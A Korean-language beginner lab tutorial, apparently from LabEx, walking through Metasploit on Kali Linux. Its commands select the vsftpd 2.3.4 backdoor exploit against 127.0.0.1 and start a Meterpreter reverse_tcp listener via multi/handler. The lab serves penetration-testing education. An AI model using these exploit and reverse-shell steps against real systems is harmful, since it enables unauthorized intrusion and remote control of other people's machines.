Metasploit 을 활용한 Kali Linux 취약점 공격 실습

Kali LinuxBeginner
지금 연습하기

소개

이 실습에서는 LabEx 가상 머신의 통제된 환경 내에서 Kali Linux 를 사용하여 침투 테스트의 기초를 학습합니다. 강력한 도구인 Metasploit 프레임워크를 활용하여 취약점을 식별하고, 페이로드를 구성하며, 익스플로잇을 실행하고, Meterpreter 세션을 통해 침투된 시스템과 상호작용하는 방법에 초점을 맞춥니다. 초보자를 위해 설계된 이 과정은 필수적인 사이버 보안 기술을 안전하고 체계적인 방식으로 단계별로 안내합니다. 터미널을 열면 Kali Linux 컨테이너의 쉘에 자동으로 연결되므로, 별도의 수동 조작 없이 즉시 실습을 시작할 수 있습니다.

이 과정은 학습과 연습을 돕기 위해 단계별 지침을 제공하는 가이드형 실습입니다. 각 단계를 완료하고 실무 경험을 쌓으려면 지침을 주의 깊게 따르십시오. 통계 데이터에 따르면 이 실습은 초급 수준이며, 완료율은 85%입니다. 또한 학습자들로부터 100%의 긍정적인 평가를 받았습니다.

Metasploit 프레임워크 시작하기

첫 번째 단계에서는 Kali Linux 침투 테스트의 핵심 도구인 Metasploit 프레임워크를 실행합니다. 이 단계는 이후 과정에서 취약점을 식별하고 공격하기 위한 환경을 설정하는 필수적인 과정입니다.

LabEx 가상 머신에서 터미널을 열면 Kali Linux 컨테이너의 쉘에 자동으로 연결됩니다. 컨테이너를 수동으로 시작하거나 쉘에 진입할 필요가 없으며, 모든 환경이 이미 구성되어 있습니다.

Metasploit 을 사용하기 전에 Kali Linux 컨테이너에 설치되어 있는지 확인해야 합니다. 먼저 터미널에 다음 명령어를 입력하고 Enter를 눌러 패키지 목록을 업데이트합니다.

apt update

그 다음, Metasploit 프레임워크를 설치합니다. 설치에는 몇 분 정도 소요될 수 있으므로 완료될 때까지 잠시 기다려 주십시오.

apt install -y metasploit-framework

설치가 완료되면 다음 명령어를 입력하고 Enter를 눌러 Metasploit 콘솔을 시작합니다.

msfconsole

이 명령어를 처음 실행할 때는 데이터베이스를 설정하고 모듈을 로드하는 초기화 과정으로 인해 시간이 다소 걸릴 수 있습니다. Metasploit 이 시작되면 ASCII 아트 배너와 함께 다음과 같은 프롬프트가 나타납니다.

Metasploit Framework
...
msf >

msf > 프롬프트는 현재 Metasploit 콘솔 내부에 있으며 프레임워크와 상호작용할 준비가 되었음을 의미합니다. 다음 단계에서 익스플로잇을 검색하고 선택해야 하므로 콘솔을 종료하지 마십시오.

익스플로잇 검색 및 선택

Metasploit 프레임워크를 시작했으므로, 이제 익스플로잇을 검색하고 선택할 차례입니다. 익스플로잇이란 소프트웨어의 취약점을 이용하여 권한 없는 액세스 권한을 얻는 등 의도하지 않은 동작을 유발하는 코드 조각을 말합니다.

이미 Metasploit 콘솔 (msf6 > 프롬프트) 에 접속해 있으므로, 취약점이 자주 발생하는 서비스인 FTP(File Transfer Protocol) 와 관련된 익스플로잇을 검색해 보겠습니다. 다음 명령어를 입력하고 Enter를 누르십시오.

search ftp

이 명령어는 FTP 와 관련된 익스플로잇 및 보조 (auxiliary) 모듈 목록을 보여줍니다. 출력 결과에는 일치하는 모듈들이 표 형태로 나타납니다.

Matching Modules
================

   ##  Name                                           Disclosure Date  Rank       Check  Description
   -  ----                                           ---------------  ----       -----  -----------
   0  exploit/unix/ftp/vsftpd_234_backdoor          2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution
   1  auxiliary/scanner/ftp/ftp_version                              normal     No     FTP Version Scanner
   2  auxiliary/scanner/ftp/anonymous                                normal     No     FTP Anonymous Access Scanner
...

이번 실습에서는 vsftpd_234_backdoor 익스플로잇을 사용하겠습니다. 이를 선택하려면 use 명령어 뒤에 익스플로잇 이름을 입력합니다.

use exploit/unix/ftp/vsftpd_234_backdoor

익스플로잇을 선택하면 프롬프트가 해당 익스플로잇 이름을 포함하도록 변경되며, 이는 해당 모듈이 활성화되었음을 나타냅니다.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) >

선택한 익스플로잇의 옵션과 요구 사항을 포함한 상세 정보를 보려면 info 명령어를 입력합니다.

info

출력 결과에서 플랫폼, 아키텍처, 사용 가능한 타겟 등의 세부 정보를 확인할 수 있습니다.

       Name: VSFTPD v2.3.4 Backdoor Command Execution
     Module: exploit/unix/ftp/vsftpd_234_backdoor
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-07-03

성공적으로 익스플로잇을 선택했습니다. 다음 단계에서는 이 익스플로잇에 대한 페이로드를 구성하겠습니다.

참고: Labby 는 msf 쉘 내부의 작업 기록을 가져올 수 없으므로, 이후 단계들은 자동으로 검증되지 않습니다.

익스플로잇 및 페이로드 구성

익스플로잇을 선택했으므로 이제 옵션을 설정하고 페이로드를 지정해야 합니다. 페이로드는 익스플로잇이 성공한 후 대상 시스템에서 실행될 코드를 의미합니다. 이 실습에서는 대상 시스템에서 명령을 실행할 수 있게 해주는 대화형 커맨드 쉘 페이로드를 구성합니다.

중요: 페이로드를 설정하기 전에 선택한 익스플로잇과 호환되는 페이로드가 무엇인지 확인하는 것이 중요합니다. 다음 명령어를 사용하여 호환 가능한 모든 페이로드를 확인하십시오.

show payloads

vsftpd_234_backdoor 익스플로잇과 작동하는 페이로드 목록이 표시됩니다. 여기서는 cmd/unix/interact라는 하나의 호환 페이로드만 보일 것입니다.

먼저 페이로드를 설정합니다. 이 익스플로잇과 호환되는 대화형 커맨드 쉘을 사용하겠습니다.

set payload cmd/unix/interact

설정 확인 메시지가 나타납니다.

payload => cmd/unix/interact

다음으로 익스플로잇 옵션을 구성해야 합니다. RHOST (Remote Host) 옵션은 공격 대상 장비의 IP 주소를 지정합니다. 이번 시뮬레이션에서는 127.0.0.1로 설정하겠습니다.

set RHOST 127.0.0.1

주의 사항: 리버스 쉘 페이로드와 달리 cmd/unix/interact 페이로드는 LHOSTLPORT 설정이 필요하지 않습니다. 이 페이로드는 대상과 직접 대화형 커맨드 세션을 수립합니다.

모든 설정이 올바른지 확인하려면 show options 명령어를 사용합니다.

show options

익스플로잇의 옵션 표가 표시됩니다. RHOST가 제대로 설정되었는지 확인하십시오.

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS   127.0.0.1        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    21               yes       The target port (TCP)

이제 익스플로잇과 페이로드 구성이 완료되었으며, 다음 단계에서 실행할 준비가 되었습니다.

익스플로잇 실행

익스플로잇과 페이로드 구성을 마쳤으므로 이제 실행할 차례입니다. exploit 명령어는 Metasploit 이 지정된 대상 (RHOST) 에 대해 공격을 시작하도록 지시합니다.

Metasploit 콘솔에서 다음 명령어를 입력하고 Enter를 누르십시오.

exploit

Metasploit 이 익스플로잇 실행을 시도합니다. 이 실습 환경의 127.0.0.1에는 실제로 취약한 VSFTPD 서비스가 실행되고 있지 않으므로 익스플로잇은 실패하게 됩니다. 이는 예상된 결과이며, 공격을 시작하는 과정을 보여주기 위한 것입니다.

출력 결과에는 Metasploit 이 대상 FTP 서비스에 연결을 시도했으나 서비스가 실행 중이지 않아 실패했음이 표시됩니다.

[-] 127.0.0.1:21 - Exploit failed [unreachable]: Rex::ConnectionRefused The connection was refused by the remote host (127.0.0.1:21).
[*] Exploit completed, but no session was created.

참고: cmd/unix/interact 페이로드를 사용할 때는 리버스 쉘 리스너가 시작되는 것을 볼 수 없습니다. 대신, 대상 FTP 서비스가 취약하고 접근 가능하다면 해당 서비스와 직접 대화형 커맨드 세션을 수립하려고 시도합니다.

Exploit completed, but no session was created라는 메시지는 실패를 확인해 줍니다. 만약 취약한 VSFTPD 서비스가 있는 실제 상황이었다면, 대화형 커맨드 쉘 세션이 수립되어 대상 시스템에서 직접 명령을 실행할 수 있었을 것입니다. 이 단계에서는 침투 테스트 워크플로우의 핵심인 익스플로잇 실행 명령어를 학습했습니다.

Meterpreter 리스너 설정하기

마지막 단계에서는 Meterpreter 페이로드를 위한 리스너 (Listener) 를 설정하는 방법을 배웁니다. Meterpreter 는 대상 시스템에서 대화형 쉘을 제공하는 고급 기능의 페이로드입니다. 여기서는 익스플로잇을 직접 실행하는 대신, exploit/multi/handler 모듈을 사용하여 들어오는 연결을 대기 (Listen) 하는 방법을 알아봅니다. 이는 익스플로잇이 다른 수단 (예: 악성 파일) 을 통해 전달되었을 때 리버스 연결을 받아내기 위해 유용합니다.

먼저 multi/handler 모듈로 전환합니다.

use exploit/multi/handler

프롬프트가 새 모듈을 반영하여 변경됩니다.

msf6 exploit(multi/handler) >

그 다음, Meterpreter 페이로드를 설정합니다. Linux 시스템용으로 설계된 것을 사용하겠습니다.

set payload linux/x86/meterpreter/reverse_tcp

이제 이전과 마찬가지로 리스너 옵션인 LHOSTLPORT를 구성합니다.

set LHOST 127.0.0.1

참고: 루프백 주소 바인딩에 대한 경고 메시지가 나타날 수 있습니다. 이는 로컬 호스트 (127.0.0.1) 를 사용할 때 발생하는 일반적인 현상이므로 이 실습에서는 무시해도 안전합니다.

set LPORT 4444

마지막으로 exploit 명령어를 사용하여 리스너를 시작합니다.

exploit

Metasploit 은 지정된 IP 와 포트에서 리스너를 시작하고 Meterpreter 세션이 연결되기를 기다립니다.

[*] Started reverse TCP handler on 127.0.0.1:4444

콘솔은 연결을 기다리는 상태로 유지됩니다. 실제 상황에서 대상 장비가 대응하는 Meterpreter 페이로드를 실행하면 여기서 세션이 수립됩니다. 이 실습에서는 연결할 대상이 없으므로 Ctrl + C를 눌러 리스너를 중단할 수 있습니다.

Metasploit 콘솔을 종료하려면 exit를 입력하고 Enter를 누르십시오.

요약

이 실습을 통해 Kali Linux 와 Metasploit 프레임워크를 사용한 침투 테스트의 기본 단계를 학습했습니다. Metasploit 실행부터 익스플로잇 검색 및 선택, 익스플로잇과 리버스 쉘 페이로드 구성, 그리고 시뮬레이션 환경에서의 공격 실행까지 전 과정을 경험했습니다. 또한 고급 Meterpreter 페이로드를 위한 독립형 리스너를 설정하는 방법도 배웠습니다. 이러한 단계들은 취약점을 식별하고, 페이로드를 준비하며, 공격 프로세스를 이해하는 핵심 워크플로우에 대한 실무적인 입문을 제공합니다. 체계적인 접근 방식을 따라가며 필수적인 사이버 보안 도구와 기술을 직접 체험해 보았습니다.